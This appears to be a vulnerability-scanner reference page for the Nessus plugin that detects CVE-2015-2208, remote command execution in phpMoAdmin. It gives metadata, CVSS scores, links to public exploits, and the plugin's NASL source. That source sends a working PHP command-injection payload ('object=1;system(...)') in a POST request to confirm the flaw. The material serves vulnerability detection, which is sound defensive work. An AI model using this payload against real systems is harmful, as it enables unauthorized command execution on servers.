phpMoAdmin saveObject Remote Command Execution - Nessus

High   Plugin ID: 84217

This page contains detailed information about the phpMoAdmin saveObject Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 84217
Name: phpMoAdmin saveObject Remote Command Execution
Filename: phpmoadmin_saveobject_rce.nasl
Vulnerability Published: 2015-03-12
This Plugin Published: 2015-06-16
Last Modification Time: 2022-04-11
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: phpmoadmin_detect.nasl
Required KB Items [?]: installed_sw/phpMoAdmin

Vulnerability Information


Severity: High
Vulnerability Published: 2015-03-12
Patch Published: N/A
CVE [?]: CVE-2015-2208
CPE [?]: cpe:/a:avinu:phpmoadmin

Synopsis

The remote web server is affected by a command execution vulnerability.

Description

The remote web server is hosting a version of phpMoAdmin that is affected by a remote code execution vulnerability due to improper sanitization of input passed via the 'object' POST parameter in the saveObject() function in the moadmin.php script. A remote attacker can exploit this, via a specially crafted request, to execute arbitrary commands.

Solution

There is currently no patch publicly available.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the phpMoAdmin saveObject Remote Command Execution vulnerability:

  1. Metasploit: exploit/multi/http/phpmoadmin_exec
    [PHPMoAdmin 1.1.2 Remote Code Execution]
  2. Exploit-DB: exploits/php/webapps/36251.txt
    [EDB-36251: PHPMoAdmin - Unauthorized Remote Code Execution]
  3. GitHub: https://github.com/NCSU-DANCE-Research-Group/CDL
    [CVE-2015-2208]
  4. GitHub: https://github.com/R0B1NL1N/E-x-p-l-o-i-t-s
    [CVE-2015-2208]
  5. GitHub: https://github.com/WangYihang/Exploit-Framework
    [CVE-2015-2208]
  6. GitHub: https://github.com/XiphosResearch/exploits
    [CVE-2015-2208]
  7. GitHub: https://github.com/ptantiku/cve-2015-2208
    [CVE-2015-2208: Docker simulating cve-2015-2208 vulnerability]
  8. GitHub: https://github.com/shildenbrand/Exploits
    [CVE-2015-2208]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the phpmoadmin_saveobject_rce.nasl nessus plugin source code. This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(84217);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2015-2208");
  script_bugtraq_id(72877);
  script_xref(name:"EDB-ID", value:"36251");

  script_name(english:"phpMoAdmin saveObject Remote Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web server is hosting a version of phpMoAdmin that is
affected by a remote code execution vulnerability due to improper
sanitization of input passed via the 'object' POST parameter in the
saveObject() function in the moadmin.php script. A remote attacker can
exploit this, via a specially crafted request, to execute arbitrary
commands.");
  script_set_attribute(attribute:"see_also", value:"http://www.phpmoadmin.com/");
  script_set_attribute(attribute:"solution", value:
"There is currently no patch publicly available.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'PHPMoAdmin 1.1.2 Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/03/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/06/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:avinu:phpmoadmin");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpmoadmin_detect.nasl");
  script_require_keys("installed_sw/phpMoAdmin");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "phpMoAdmin";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80);

install = get_single_install(app_name:app, port:port);
url = install['path'];

# create a unique string that we can have echoed
# back from the application
result  = "phpmoadmin_saveobject_rce.nasl " + unixtime();
command = 'echo "' + result + '"';

res = http_send_recv3(
  method       : "POST",
  item         : url,
  port         : port,
  data         : "object=1;system('" + command + "');exit",
  add_headers  : make_array("Content-Type", "application/x-www-form-urlencoded"),
  exit_on_fail : TRUE
);

if (result >< res[2])
{
  security_report_v4(
    port        : port,
    severity    : SECURITY_HOLE,
    generic     : TRUE,
    request     : make_list(http_last_sent_request()),
    output      : res[2]
  );
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:url, port:port));

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/phpmoadmin_saveobject_rce.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\phpmoadmin_saveobject_rce.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/phpmoadmin_saveobject_rce.nasl

Go back to menu.

How to Run


Here is how to run the phpMoAdmin saveObject Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select phpMoAdmin saveObject Remote Command Execution plugin ID 84217.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl phpmoadmin_saveobject_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a phpmoadmin_saveobject_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - phpmoadmin_saveobject_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state phpmoadmin_saveobject_rce.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
  • 61435 - Symantec Web Gateway Multiple Script Shell Command Execution (SYM12-011)
  • 61517 - Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
  • 62293 - SAP Host Control SOAP Web Service 'Database/Name' Command Execution (SAP Note 1341333)
  • 62737 - WANem result.php pc Parameter Remote Command Execution
  • 63111 - Narcissus backend.php release Parameter Remote Command Execution
  • 64096 - Movable Type mt-upgrade.cgi Remote Command Execution
  • 64293 - ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution
  • 65127 - Adobe InDesign Server RunScript Arbitrary Command Execution
  • 66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
  • 66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
  • 68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
  • 69240 - Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
  • 70585 - NETGEAR ReadyNAS Remote Unauthenticated Command Execution
  • 76873 - TimThumb 'timthumb.php' < 2.8.14 WebShot 'src' Parameter Remote Command Execution
  • 76874 - TimThumb 'timthumb.php' WebShot 'src' Parameter Remote Command Execution
  • 84086 - D-Link Router HNAP GetDeviceSettings Remote Command Execution
  • 85005 - Accellion Secure File Transfer Appliance 'oauth_token' Parameter Remote Command Execution
  • 85850 - Barracuda Web Filter <= 5.0.0.012 Remote Command Execution
  • 99595 - Tenable Appliance < 4.5.0 Web UI simpleupload.py Remote Command Execution (CVE-2017-8051)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file phpmoadmin_saveobject_rce.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

Go back to menu.